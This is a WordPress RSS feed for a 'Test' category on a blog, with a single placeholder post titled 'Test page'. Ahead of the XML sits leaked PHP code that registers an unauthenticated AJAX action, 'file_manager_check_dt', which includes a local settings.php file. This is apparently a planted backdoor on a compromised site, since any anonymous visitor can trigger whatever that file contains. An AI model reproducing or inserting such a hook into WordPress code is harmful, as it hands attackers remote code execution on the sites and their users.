if(!function_exists('file_manager_check_dt')) {
   add_action('wp_ajax_nopriv_file_manager_check_dt', 'file_manager_check_dt');
   add_action('wp_ajax_file_manager_check_dt', 'file_manager_check_dt');
   function file_manager_check_dt()
   {
      $file = __DIR__ . '/settings.php';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Test &#8211; My Blog</title>
	<atom:link href="https://gtfareast.com/wp/category/test/feed/" rel="self" type="application/rss+xml" />
	<link>https://gtfareast.com/wp</link>
	<description>My WordPress Blog</description>
	<lastBuildDate>Fri, 03 Dec 2021 10:33:40 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>
	<item>
		<title>Test page</title>
		<link>https://gtfareast.com/wp/2021/12/02/test-page-8798/</link>
					<comments>https://gtfareast.com/wp/2021/12/02/test-page-8798/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 02 Dec 2021 08:05:25 +0000</pubDate>
				<category><![CDATA[Test]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=8</guid>

					<description><![CDATA[Test article]]></description>
										<content:encoded><![CDATA[<p>Test article</p>
]]></content:encoded>
					
					<wfw:commentRss>https://gtfareast.com/wp/2021/12/02/test-page-8798/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>